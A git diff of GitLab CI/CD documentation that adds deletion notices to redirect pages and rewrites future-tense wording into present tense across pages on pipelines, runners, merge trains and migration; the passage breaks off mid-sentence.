'../../user/project/merge_requests/browser_performance_testing.md#c --- This document was moved to [another location](../../user/project/merge_requests/browser_performance_testing.md#configuring-browser-performance-testing). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/code_climate.md b/doc/ci/examples/code_climate.md index 0aa108a2e73..2b7b2574ef7 100644 --- a/doc/ci/examples/code_climate.md +++ b/doc/ci/examples/code_climate.md @@ -3,3 +3,6 @@ redirect_to: 'code_quality.md' --- This document was moved to [another location](code_quality.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/code_quality.md b/doc/ci/examples/code_quality.md index 88bcead7beb..808ad6d8fef 100644 --- a/doc/ci/examples/code_quality.md +++ b/doc/ci/examples/code_quality.md @@ -3,3 +3,6 @@ redirect_to: '../../user/project/merge_requests/code_quality.md#example-configur --- This document was moved to [another location](../../user/project/merge_requests/code_quality.md#example-configuration). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/container_scanning.md b/doc/ci/examples/container_scanning.md index 6570f6b2d98..eecf939d959 100644 --- a/doc/ci/examples/container_scanning.md +++ b/doc/ci/examples/container_scanning.md @@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/container_scanning/index.md' --- This document was moved to [another location](../../user/application_security/container_scanning/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/dast.md b/doc/ci/examples/dast.md index 9591abfc276..97c5cafae95 100644 --- a/doc/ci/examples/dast.md +++ b/doc/ci/examples/dast.md @@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/dast/index.md' --- This document was moved to [another location](../../user/application_security/dast/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/dependency_scanning.md b/doc/ci/examples/dependency_scanning.md index dc234a3489f..dc4b7bd764a 100644 --- a/doc/ci/examples/dependency_scanning.md +++ b/doc/ci/examples/dependency_scanning.md @@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/dependency_scanning/index.md' --- This document was moved to [another location](../../user/application_security/dependency_scanning/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/license_management.md b/doc/ci/examples/license_management.md index df9af4db929..46be93c9676 100644 --- a/doc/ci/examples/license_management.md +++ b/doc/ci/examples/license_management.md @@ -3,3 +3,6 @@ redirect_to: '../../user/compliance/license_compliance/index.md' --- This document was moved to [another location](../../user/compliance/license_compliance/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/php.md b/doc/ci/examples/php.md index 699d04f632c..85f0424554a 100644 --- a/doc/ci/examples/php.md +++ b/doc/ci/examples/php.md @@ -15,17 +15,17 @@ using the Shell executor. ## Test PHP projects using the Docker executor While it is possible to test PHP apps on any system, this would require manual -configuration from the developer. To overcome this we will be using the +configuration from the developer. To overcome this we use the official [PHP Docker image](https://hub.docker.com/_/php) that can be found in Docker Hub. -This will allow us to test PHP projects against different versions of PHP. +This allows us to test PHP projects against different versions of PHP. However, not everything is plug 'n' play, you still need to configure some things manually. As with every job, you need to create a valid `.gitlab-ci.yml` describing the build environment. -Let's first specify the PHP image that will be used for the job process +Let's first specify the PHP image that is used for the job process (you can read more about what an image means in the runner's lingo reading about [Using Docker images](../docker/using_docker_images.md#what-is-an-image)). @@ -106,7 +106,7 @@ test:app: ### Test against different PHP versions in Docker builds Testing against multiple versions of PHP is super easy. Just add another job -with a different Docker image version and the runner will do the rest: +with a different Docker image version and the runner does the rest: ```yaml before_script: @@ -128,7 +128,7 @@ test:7.0: ### Custom PHP configuration in Docker builds -There are times where you will need to customise your PHP environment by +There are times where you need to customise your PHP environment by putting your `.ini` file into `/usr/local/etc/php/conf.d/`. For that purpose add a `before_script` action: @@ -168,7 +168,7 @@ The [phpenv](https://github.com/phpenv/phpenv) project allows you to easily mana each with its own configuration. This is especially useful when testing PHP projects with the Shell executor. -You will have to install it on your build machine under the `gitlab-runner` +You have to install it on your build machine under the `gitlab-runner` user following [the upstream installation guide](https://github.com/phpenv/phpenv#installation). Using phpenv also allows to easily configure the PHP environment with: @@ -181,7 +181,7 @@ phpenv config-add my_config.ini [is abandoned](https://github.com/phpenv/phpenv/issues/57). There is a fork at [madumlao/phpenv](https://github.com/madumlao/phpenv) that tries to bring the project back to life. [CHH/phpenv](https://github.com/CHH/phpenv) also - seems like a good alternative. Picking any of the mentioned tools will work + seems like a good alternative. Picking any of the mentioned tools works with the basic phpenv commands. Guiding you to choose the right phpenv is out of the scope of this tutorial.* @@ -274,4 +274,4 @@ that runs on [GitLab.com](https://gitlab.com) using our publicly available [shared runners](../runners/README.md). Want to hack on it? Simply fork it, commit, and push your changes. Within a few -moments the changes will be picked by a public runner and the job will begin. +moments the changes are picked by a public runner and the job begins. diff --git a/doc/ci/examples/sast.md b/doc/ci/examples/sast.md index 7c644ac833d..ebb3c1f66c1 100644 --- a/doc/ci/examples/sast.md +++ b/doc/ci/examples/sast.md @@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/sast/index.md' --- This document was moved to [another location](../../user/application_security/sast/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/sast_docker.md b/doc/ci/examples/sast_docker.md index 6570f6b2d98..eecf939d959 100644 --- a/doc/ci/examples/sast_docker.md +++ b/doc/ci/examples/sast_docker.md @@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/container_scanning/index.md' --- This document was moved to [another location](../../user/application_security/container_scanning/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/git_submodules.md b/doc/ci/git_submodules.md index c28febd15d7..48434c02dfd 100644 --- a/doc/ci/git_submodules.md +++ b/doc/ci/git_submodules.md @@ -21,7 +21,7 @@ type: reference ## Configuring the `.gitmodules` file -If dealing with [Git submodules](https://git-scm.com/book/en/v2/Git-Tools-Submodules), your project will probably have a file +If dealing with [Git submodules](https://git-scm.com/book/en/v2/Git-Tools-Submodules), your project probably has a file named `.gitmodules`. Let's consider the following example: @@ -44,11 +44,11 @@ for all your local checkouts. The `.gitmodules` would look like: url = ../../group/project.git ``` -The above configuration will instruct Git to automatically deduce the URL that -should be used when cloning sources. Whether you use HTTP(S) or SSH, Git will use -that same channel and it will allow to make all your CI jobs use HTTP(S) -(because GitLab CI/CD only uses HTTP(S) for cloning your sources), and all your local -clones will continue using SSH. +The above configuration instructs Git to automatically deduce the URL that +should be used when cloning sources. Whether you use HTTP(S) or SSH, Git uses +that same channel and it makes all your CI jobs use HTTP(S). +GitLab CI/CD only uses HTTP(S) for cloning your sources, and all your local +clones continue using SSH. For all other submodules not located on the same GitLab server, use the full HTTP(S) protocol URL: @@ -94,7 +94,7 @@ correctly with your CI jobs: whether you have recursive submodules. The rationale to set the `sync` and `update` in `before_script` is because of -the way Git submodules work. On a fresh runner workspace, Git will set the +the way Git submodules work. On a fresh runner workspace, Git sets the submodule URL including the token in `.git/config` (or `.git/modules/<submodule>/config`) based on `.gitmodules` and the current remote URL. On subsequent jobs on the same runner, `.git/config` is cached diff --git a/doc/ci/interactive_web_terminal/index.md b/doc/ci/interactive_web_terminal/index.md index a131d21039d..96cd7b9301d 100644 --- a/doc/ci/interactive_web_terminal/index.md +++ b/doc/ci/interactive_web_terminal/index.md @@ -44,26 +44,26 @@ Not all executors are NOTE: **Note:** The `docker` executor does not keep running -after the build script is finished. At that point, the terminal will automatically -disconnect and will not wait for the user to finish. Please follow [this +after the build script is finished. At that point, the terminal automatically +disconnects and does not wait for the user to finish. Please follow [this issue](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3605) for updates on improving this behavior. Sometimes, when a job is running, things don't go as you would expect, and it would be helpful if one can have a shell to aid debugging. When a job is -running, on the right panel you can see a button `debug` that will open the terminal +running, on the right panel you can see a button `debug` that opens the terminal for the current job.  -When clicked, a new tab will open to the terminal page where you can access +When clicked, a new tab opens to the terminal page where you can access the terminal and type commands like a normal shell.  If you have the terminal open and the job has finished with its tasks, the -terminal will block the job from finishing for the duration configured in +terminal blocks the job from finishing for the duration configured in [`[session_server].session_timeout`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-session_server-section) until you close the terminal window. diff --git a/doc/ci/introduction/index.md b/doc/ci/introduction/index.md index b24ee66fdba..4a296ddcd1c 100644 --- a/doc/ci/introduction/index.md +++ b/doc/ci/introduction/index.md @@ -8,7 +8,7 @@ type: concepts # Introduction to CI/CD with GitLab -In this document, we'll present an overview of the concepts of Continuous Integration, +This document presents an overview of the concepts of Continuous Integration, Continuous Delivery, and Continuous Deployment, as well as an introduction to GitLab CI/CD. @@ -100,18 +100,18 @@ located in the root path of your repository. In this file, you can define the scripts you want to run, define include and cache dependencies, choose commands you want to run in sequence and those you want to run in parallel, define where you want to -deploy your app, and specify whether you will want to run the scripts automatically +deploy your app, and specify whether you want to run the scripts automatically or trigger any of them manually. After you're familiar with GitLab CI/CD you can add more advanced steps into the configuration file. -To add scripts to that file, you'll need to organize them in a +To add scripts to that file, you need to organize them in a sequence that suits your application and are in accordance with the tests you wish to perform. To visualize the process, imagine that all the scripts you add to the configuration file are the same as the commands you run on a terminal on your computer. After you've added your `.gitlab-ci.yml` configuration file to your -repository, GitLab will detect it and run your scripts with the +repository, GitLab detects it and run your scripts with the tool called [GitLab Runner](https://docs.gitlab.com/runner/), which works similarly to your terminal. @@ -191,7 +191,7 @@ lifecycle, as shown in the illustration below.  If you look at the image from the left to the right, -you'll see some of the features available in GitLab +you can see some of the features available in GitLab according to each stage (Verify, Package, Release). 1. **Verify**: diff --git a/doc/ci/jenkins/index.md b/doc/ci/jenkins/index.md index 34600dd6540..3f720ef959e 100644 --- a/doc/ci/jenkins/index.md +++ b/doc/ci/jenkins/index.md @@ -3,3 +3,6 @@ redirect_to: '../migration/jenkins.md' --- This document was moved to [another location](../migration/jenkins.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/junit_test_reports.md b/doc/ci/junit_test_reports.md index 449f9bf5fcd..2ae17df0933 100644 --- a/doc/ci/junit_test_reports.md +++ b/doc/ci/junit_test_reports.md @@ -3,3 +3,6 @@ redirect_to: 'unit_test_reports.md' --- This document was moved to [unit_test_reports](unit_test_reports.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/large_repositories/index.md b/doc/ci/large_repositories/index.md index f25ef7c725a..dba0fedca7d 100644 --- a/doc/ci/large_repositories/index.md +++ b/doc/ci/large_repositories/index.md @@ -32,7 +32,7 @@ GitLab and GitLab Runner perform a [shallow clone](../pipelines/settings.md#git- by default. Ideally, you should always use `GIT_DEPTH` with a small number -like 10. This will instruct GitLab Runner to perform shallow clones. +like 10. This instructs GitLab Runner to perform shallow clones. Shallow clones make Git request only the latest set of changes for a given branch, up to desired number of commits as defined by the `GIT_DEPTH` variable. @@ -152,7 +152,7 @@ concurrent = 4 This `config.toml`: - Uses the `shell` executor, -- Specifies a custom `/builds` directory where all clones will be stored. +- Specifies a custom `/builds` directory where all clones are stored. - Enables the ability to specify `GIT_CLONE_PATH`, - Runs at most 4 jobs at once. @@ -177,7 +177,7 @@ concurrent = 4 This `config.toml`: - Uses the `docker` executor, -- Specifies a custom `/builds` directory on disk where all clones will be stored. +- Specifies a custom `/builds` directory on disk where all clones are stored. We host mount the `/builds` directory to make it reusable between subsequent runs and be allowed to override the cloning strategy. - Doesn't enable the ability to specify `GIT_CLONE_PATH` as it is enabled by default. @@ -187,7 +187,7 @@ This `config.toml`: Once we have the executor configured, we need to fine tune our `.gitlab-ci.yml`. -Our pipeline will be most performant if we use the following `.gitlab-ci.yml`: +Our pipeline is most performant if we use the following `.gitlab-ci.yml`: ```yaml variables: @@ -205,8 +205,8 @@ The above configures a: because we use the same clone path for all forks. Why use `$CI_CONCURRENT_ID`? The main reason is to ensure that worktrees used are not conflicting -between projects. The `$CI_CONCURRENT_ID` represents a unique identifier within the given executor, -so as long as we use it to construct the path, it is guaranteed that this directory will not conflict +between projects. The `$CI_CONCURRENT_ID` represents a unique identifier within the given executor. +When we use it to construct the path, this directory does not conflict with other concurrent jobs running. ### Store custom clone options in `config.toml` @@ -220,7 +220,7 @@ In such cases, it might be desirable to keep the `.gitlab-ci.yml` clone path agn a configuration of the runner. We can extend our [`config.toml`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html) -with the following specification that will be used by the runner if `.gitlab-ci.yml` will not override it: +with the following specification that is used by the runner if `.gitlab-ci.yml` does not override it: ```toml concurrent = 4 diff --git a/doc/ci/merge_request_pipelines/index.md b/doc/ci/merge_request_pipelines/index.md index ac9cda4e46c..1e405bfd9ec 100644 --- a/doc/ci/merge_request_pipelines/index.md +++ b/doc/ci/merge_request_pipelines/index.md @@ -57,7 +57,7 @@ When you use this method, you have to specify `only: - merge_requests` for each example, the pipeline contains a `test` job that is configured to run on merge requests. The `build` and `deploy` jobs don't have the `only: - merge_requests` keyword, -so they will not run on merge requests. +so they don't run on merge requests. ```yaml build: @@ -82,7 +82,7 @@ deploy: #### Excluding certain jobs The behavior of the `only: [merge_requests]` keyword is such that _only_ jobs with -that keyword are run in the context of a merge request; no other jobs will be run. +that keyword are run in the context of a merge request; no other jobs run. However, you can invert this behavior and have all of your jobs run _except_ for one or two. @@ -120,8 +120,8 @@ C: Therefore: -- Since `A` and `B` are getting the `only:` rule to execute in all cases, they will always run. -- Since `C` specifies that it should only run for merge requests, it will not run for any pipeline +- Since `A` and `B` are getting the `only:` rule to execute in all cases, they always run. +- Since `C` specifies that it should only run for merge requests, it doesn't run for any pipeline except a merge request pipeline. This helps you avoid having to add the `only:` rule to all of your jobs to make @@ -209,7 +209,7 @@ The variable names begin with the `CI_MERGE_REQUEST_` prefix. If you are experiencing duplicated pipelines when using `rules`, take a look at the [important differences between `rules` and `only`/`except`](../yaml/README.md#prevent-duplicate-pipelines), -which will help you get your starting configuration correct. +which helps you get your starting configuration correct. If you are seeing two pipelines when using `only/except`, please see the caveats related to using `only/except` above (or, consider moving to `rules`). diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md index 9c6fbba1337..28d205ad8b1 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md +++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md @@ -19,8 +19,8 @@ the source branch have already been merged into the target branch. If the pipeline fails due to a problem in the target branch, you can wait until the target is fixed and re-run the pipeline. -This new pipeline will run as if the source is merged with the updated target, and you -will not need to rebase. +This new pipeline runs as if the source is merged with the updated target, and you +don't need to rebase. The pipeline does not automatically run when the target branch changes. Only changes to the source branch trigger a new pipeline. If a long time has passed since the last successful @@ -33,7 +33,7 @@ When the merge request can't be merged, the pipeline runs against the source bra - The merge request is a [**Draft** merge request](../../../user/project/merge_requests/work_in_progress_merge_requests.md). In these cases, the pipeline runs as a [pipeline for merge requests](../index.md) -and is labeled as `detached`. If these cases no longer exist, new pipelines will +and is labeled as `detached`. If these cases no longer exist, new pipelines again run against the merged results. Any user who has developer [permissions](../../../user/permissions.md) can run a @@ -71,7 +71,7 @@ GitLab [automatically displays](merge_trains/index.md#add-a-merge-request-to-a-m a **Start/Add Merge Train button**. Generally, this is a safer option than merging merge requests immediately, because your -merge request will be evaluated with an expected post-merge result before the actual +merge request is evaluated with an expected post-merge result before the actual merge happens. For more information, read the [documentation on Merge Trains](merge_trains/index.md). @@ -84,10 +84,10 @@ GitLab CI/CD can detect the presence of redundant pipelines, and cancels them to conserve CI resources. When a user merges a merge request immediately within an ongoing merge -train, the train will be reconstructed, as it will recreate the expected +train, the train is reconstructed, because it recreates the expected post-merge commit and pipeline. In this case, the merge train may already have pipelines running against the previous expected post-merge commit. -These pipelines are considered redundant and will be automatically +These pipelines are considered redundant and are automatically canceled. ## Troubleshooting diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md index d4099cdeafd..a7d111f7ee6 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md +++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md @@ -39,7 +39,7 @@ To add a merge request to a merge train, you need [permissions](../../../../user Each merge train can run a maximum of **twenty** pipelines in parallel. If more than twenty merge requests are added to the merge train, the merge requests -will be queued until a slot in the merge train is free. There is no limit to the +are queued until a slot in the merge train is free. There is no limit to the number of merge requests that can be queued. ## Merge train example @@ -55,7 +55,7 @@ If the pipeline for `B` fails, it is removed from the train. The pipeline for `C` restarts with the `A` and `C` changes, but without the `B` changes. If `A` then completes successfully, it merges into the target branch, and `C` continues -to run. If more merge requests are added to the train, they will now include the `A` +to run. If more merge requests are added to the train, they now include the `A` changes that are included in the target branch, and the `C` changes that are from the merge request already in the train. @@ -152,7 +152,7 @@ is recreated and all pipelines restart. ### Merge request dropped from the merge train immediately If a merge request is not mergeable (for example, it's a draft merge request, there is a merge -conflict, etc.), your merge request will be dropped from the merge train automatically. +conflict, etc.), your merge request is dropped from the merge train automatically. In these cases, the reason for dropping the merge request is in the **system notes**. @@ -179,7 +179,7 @@ for more information. A Merge Train pipeline cannot be retried because the merge request is dropped from the merge train upon failure. For this reason, the retry button does not appear next to the pipeline icon. -In the case of pipeline failure, you should [re-enqueue](#add-a-merge-request-to-a-merge-train) the merge request to the merge train, which will then initiate a new pipeline. +In the case of pipeline failure, you should [re-enqueue](#add-a-merge-request-to-a-merge-train) the merge request to the merge train, which then initiates a new pipeline. ### Unable to add to merge train with message "The pipeline for this merge request failed." @@ -195,9 +195,10 @@ you can clear the **Pipelines must succeed** check box and keep **Enable merge trains and pipelines for merged results** (merge trains) enabled. If you want to keep the **Pipelines must succeed** option enabled along with Merge -Trains, you can create a new pipeline for merged results when this error occurs by -going to the **Pipelines** tab and clicking **Run pipeline**. Then click -**Start/Add to merge train when pipeline succeeds**. +Trains, create a new pipeline for merged results when this error occurs: + +1. Go to the **Pipelines** tab and click **Run pipeline**. +1. Click **Start/Add to merge train when pipeline succeeds**. See [the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/35135) for more information. diff --git a/doc/ci/metrics_reports.md b/doc/ci/metrics_reports.md index dbc0397bb0b..d66ab2b297a 100644 --- a/doc/ci/metrics_reports.md +++ b/doc/ci/metrics_reports.md @@ -11,7 +11,7 @@ type: reference GitLab provides a lot of great reporting tools for [merge requests](../user/project/merge_requests/index.md) - [Unit test reports](unit_test_reports.md), [code quality](../user/project/merge_requests/code_quality.md), performance tests, etc. While JUnit is a great open framework for tests that "pass" or "fail", it is also important to see other types of metrics from a given change. -You can configure your job to use custom Metrics Reports, and GitLab will display a report on the merge request so that it's easier and faster to identify changes without having to check the entire log. +You can configure your job to use custom Metrics Reports, and GitLab displays a report on the merge request so that it's easier and faster to identify changes without having to check the entire log.  diff --git a/doc/ci/migration/circleci.md b/doc/ci/migration/circleci.md index 13190c15cca..5bb8e76831a 100644 --- a/doc/ci/migration/circleci.md +++ b/doc/ci/migration/circleci.md @@ -200,7 +200,7 @@ deploy_prod: ### Filter job by branch -[Rules](../yaml/README.md#rules) are a mechanism to determine if the job will or will not run for a specific branch. +[Rules](../yaml/README.md#rules) are a mechanism to determine if the job runs for a specific branch. CircleCI example of a job filtered by branch: diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md index afec94ca91c..19df310d1a2 100644 --- a/doc/ci/migration/jenkins.md +++ b/doc/ci/migration/jenkins.md @@ -33,7 +33,7 @@ For an example of how to convert a Jenkins pipeline into a GitLab CI/CD pipeline or how to use Auto DevOps to test your code automatically, watch the [Migrating from Jenkins to GitLab](https://www.youtube.com/watch?v=RlEVGOpYF5Y) video. -Otherwise, read on for important information that will help you get the ball rolling. Welcome +Otherwise, read on for important information that helps you get the ball rolling. Welcome to GitLab! If you have questions that are not answered here, the [GitLab community forum](https://forum.gitlab.com/) @@ -46,22 +46,22 @@ changes that comes with the move, and successfully managing them. There are a fe things we have found that helps this: - Setting and communicating a clear vision of what your migration goals are helps - your users understand why the effort is worth it. The value will be clear when + your users understand why the effort is worth it. The value is clear when the work is done, but people need to be aware while it's in progress too. - Sponsorship and alignment from the relevant leadership team helps with the point above. - Spending time educating your users on what's different, sharing this document with them, - and so on will help ensure you are successful. + and so on helps ensure you are successful. - Finding ways to sequence or delay parts of the migration can help a lot, but you don't want to leave things in a non-migrated (or partially-migrated) state for too long. To gain all the benefits of GitLab, moving your existing Jenkins setup over - as-is, including any current problems, will not be enough. You need to take advantage + as-is, including any current problems, isn't enough. You need to take advantage of the improvements that GitLab offers, and this requires (eventually) updating your implementation as part of the transition. ## JenkinsFile Wrapper -We are building a [JenkinsFile Wrapper](https://gitlab.com/gitlab-org/jfr-container-builder/) which will allow -you to run a complete Jenkins instance inside of a GitLab job, including plugins. This can help ease the process +We are building a [JenkinsFile Wrapper](https://gitlab.com/gitlab-org/jfr-container-builder/) which +you can use to run a complete Jenkins instance inside of a GitLab job, including plugins. This can help ease the process of transition, by letting you delay the migration of less urgent pipelines for a period of time. If you are interested in helping GitLab test the wrapper, join our [public testing issue](https://gitlab.com/gitlab-org/gitlab/-/issues/215675) for instructions and to provide your feedback. @@ -103,8 +103,8 @@ There are some high level differences between the products worth mentioning: - One important difference is that jobs run independently of each other and have a fresh environment in each job. Passing artifacts between jobs is controlled using the [`artifacts`](../yaml/README.md#artifacts) and [`dependencies`](../yaml/README.md#dependencies) - keywords. When finished, the planned [Workspaces](https://gitlab.com/gitlab-org/gitlab/-/issues/29265) - feature will allow you to more easily persist a common workspace between serial jobs. + keywords. When finished, use the planned [Workspaces](https://gitlab.com/gitlab-org/gitlab/-/issues/29265) + feature to more easily persist a common workspace between serial jobs. - The `.gitlab-ci.yml` file is checked in to the root of your repository, much like a Jenkinsfile, but is in the YAML format (see [complete reference](../yaml/README.md)) instead of a Groovy DSL. It's most analogous to the declarative Jenkinsfile format. @@ -114,7 +114,7 @@ There are some high level differences between the products worth mentioning: - GitLab comes with a [container registry](../../user/packages/container_registry/index.md), and we recommend using container images to set up your build environment. For example, set up one pipeline that builds your build environment itself and publish that to the container registry. Then, have your pipelines use this instead of each building their - own environment, which will be slower and may be less consistent. We have extensive docs on [how to use the Container Registry](../../user/packages/container_registry/index.md). + own environment, which is slower and may be less consistent. We have extensive docs on [how to use the Container Registry](../../user/packages/container_registry/index.md). - A central utilities repository can be a great place to put assorted scheduled jobs or other manual jobs that function like utilities. Jenkins installations tend to have a few of these. @@ -129,12 +129,12 @@ agents you were using. There are some important differences in the way runners work in comparison to agents: - Runners can be set up as [shared across an instance, be added at the group level, or set up at the project level](../runners/README.md#types-of-runners). - They will self-select jobs from the scopes you've defined automatically. + They self-select jobs from the scopes you've defined automatically. - You can also [use tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) for finer control, and associate runners with specific jobs. For example, you can use a tag for jobs that require dedicated, more powerful, or specific hardware. -- GitLab has [autoscaling for runners](https://docs.gitlab.com/runner/configuration/autoscale.html) - which will let you configure them to be provisioned as needed, and scaled down when not. +- GitLab has [autoscaling for runners](https://docs.gitlab.com/runner/configuration/autoscale.html). + Use autoscaling to provision runners only when needed, and scale down when not needed. This is similar to ephemeral agents in Jenkins. If you are using `gitlab.com`, you can take advantage of our [shared runner fleet](../../user/gitlab_com/index.md#shared-runners) @@ -227,15 +227,15 @@ and is meant to be a mapping of concepts there to concepts in GitLab. #### `agent` -The agent section is used to define how a pipeline will be executed. For GitLab, we use [runners](../runners/README.md) +The agent section is used to define how a pipeline executes. For GitLab, we use [runners](../runners/README.md) to provide this capability. You can configure your own runners in Kubernetes or on any host, or take advantage -of our shared runner fleet (note that the shared runner fleet is only available for GitLab.com users.) The link above will bring you to the documentation which will describe how to get -up and running quickly. We also support using [tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) to direct different jobs +of our shared runner fleet (note that the shared runner fleet is only available for GitLab.com users). +We also support using [tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) to direct different jobs to different runners (execution agents). The `agent` section also allows you to define which Docker images should be used for execution, for which we use the [`image`](../yaml/README.md#image) keyword. The `image` can be set on a single job or at the top level, in which -case it will apply to all jobs in the pipeline: +case it applies to all jobs in the pipeline: ```yaml my_job: @@ -246,7 +246,7 @@ my_job: The `post` section defines the actions that should be performed at the end of the pipeline. GitLab also supports this through the use of stages. You can define your stages as follows, and any jobs assigned to the `before_pipeline` -or `after_pipeline` stages will run as expected. You can call these stages anything you like: +or `after_pipeline` stages run as expected. You can call these stages anything you like: ```yaml stages: diff --git a/doc/ci/multi_project_pipeline_graphs.md b/doc/ci/multi_project_pipeline_graphs.md index af10e5b6126..66efa0a7c35 100644 --- a/doc/ci/multi_project_pipeline_graphs.md +++ b/doc/ci/multi_project_pipeline_graphs.md @@ -3,3 +3,6 @@ redirect_to: 'multi_project_pipelines.md' --- This document was moved to [another location](multi_project_pipelines.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/multi_project_pipelines.md b/doc/ci/multi_project_pipelines.md index 5837bf6cf6b..c06eea20f6c 100644 --- a/doc/ci/multi_project_pipelines.md +++ b/doc/ci/multi_project_pipelines.md @@ -46,7 +46,7 @@ When you configure GitLab CI/CD for your project, you can visualize the stages o  In the Merge Request Widget, multi-project pipeline mini-graphs are displayed, -and when hovering or tapping (on touchscreen devices) they will expand and be shown adjacent to each other. +and when hovering or tapping (on touchscreen devices) they expand and are shown adjacent to each other.  @@ -97,16 +97,16 @@ staging: trigger: my/deployment ``` -In the example above, as soon as `rspec` job succeeds in the `test` stage, -the `staging` bridge job is going to be started. The initial status of this -job will be `pending`. GitLab will create a downstream pipeline in the -`my/deployment` project and, as soon as the pipeline gets created, the -`staging` job will succeed. `my/deployment` is a full path to that project. +In the example above, as soon as the `rspec` job succeeds in the `test` stage, +the `staging` bridge job is started. The initial status of this +job is `pending`. GitLab then creates a downstream pipeline in the +`my/deployment` project and, as soon as the pipeline is created, the +`staging` job succeeds. `my/deployment` is a full path to that project. The user that created the upstream pipeline needs to have access rights to the -downstream project (`my/deployment` in this case). If a downstream project can -not be found, or a user does not have access rights to create pipeline there, -the `staging` job is going to be marked as _failed_. +downstream project (`my/deployment` in this case). If a downstream project is +not found, or a user does not have access rights to create a pipeline there, +the `staging` job is marked as _failed_. When using: @@ -117,21 +117,18 @@ When using: - [`only/except`](yaml/README.md#onlyexcept-basic) to control job behavior, use the `pipelines` keyword. -CAUTION: **Caution:** -In the example, `staging` will be marked as succeeded as soon as a downstream pipeline +In the example, `staging` is marked as successful as soon as a downstream pipeline gets created. If you want to display the downstream pipeline's status instead, see [Mirroring status from triggered pipeline](#mirroring-status-from-triggered-pipeline). NOTE: **Note:** -Bridge jobs do not support every configuration entry that a user can use -in the case of regular jobs. Bridge jobs will not be picked by a runner, -so there is no point in adding support for `script`, for example. If a user -tries to use unsupported configuration syntax, YAML validation will fail upon -pipeline creation. +Bridge jobs [do not support every configuration keyword](#limitations) that can be used +with other jobs. If a user tries to use unsupported configuration keywords, YAML +validation fails on pipeline creation. ### Specifying a downstream pipeline branch -It is possible to specify a branch name that a downstream pipeline will use: +It is possible to specify a branch name that a downstream pipeline uses: ```yaml rspec: @@ -152,7 +149,7 @@ Use: [From GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/issues/10126), variable expansion is supported. -GitLab will use a commit that is currently on the HEAD of the branch when +GitLab uses a commit that is on the head of the branch when creating a downstream pipeline. NOTE: **Note:** @@ -181,10 +178,10 @@ staging: trigger: my/deployment ``` -The `ENVIRONMENT` variable will be passed to every job defined in a downstream -pipeline. It will be available as an environment variable when GitLab Runner picks a job. +The `ENVIRONMENT` variable is passed to every job defined in a downstream +pipeline. It is available as an environment variable when GitLab Runner picks a job. -In the following configuration, the `MY_VARIABLE` variable will be passed to the downstream pipeline +In the following configuration, the `MY_VARIABLE` variable is passed to the downstream pipeline that is created when the `trigger-downstream` job is queued. This is because `trigger-downstream` job inherits variables declared in global variables blocks, and then we pass these variables to a downstream pipeline. @@ -210,7 +207,7 @@ downstream-job: ``` In this scenario, the `UPSTREAM_BRANCH` variable with a value related to the -upstream pipeline will be passed to the `downstream-job` job, and will be available +upstream pipeline is passed to the `downstream-job` job, and is available within the context of all downstream builds. Upstream pipelines take precedence over downstream ones. If there are two @@ -289,9 +286,9 @@ upstream_bridge: ### Limitations -Because bridge jobs are a little different to regular jobs, it is not -possible to use exactly the same configuration syntax here, as one would -normally do when defining a regular job that will be picked by a runner. +Bridge jobs 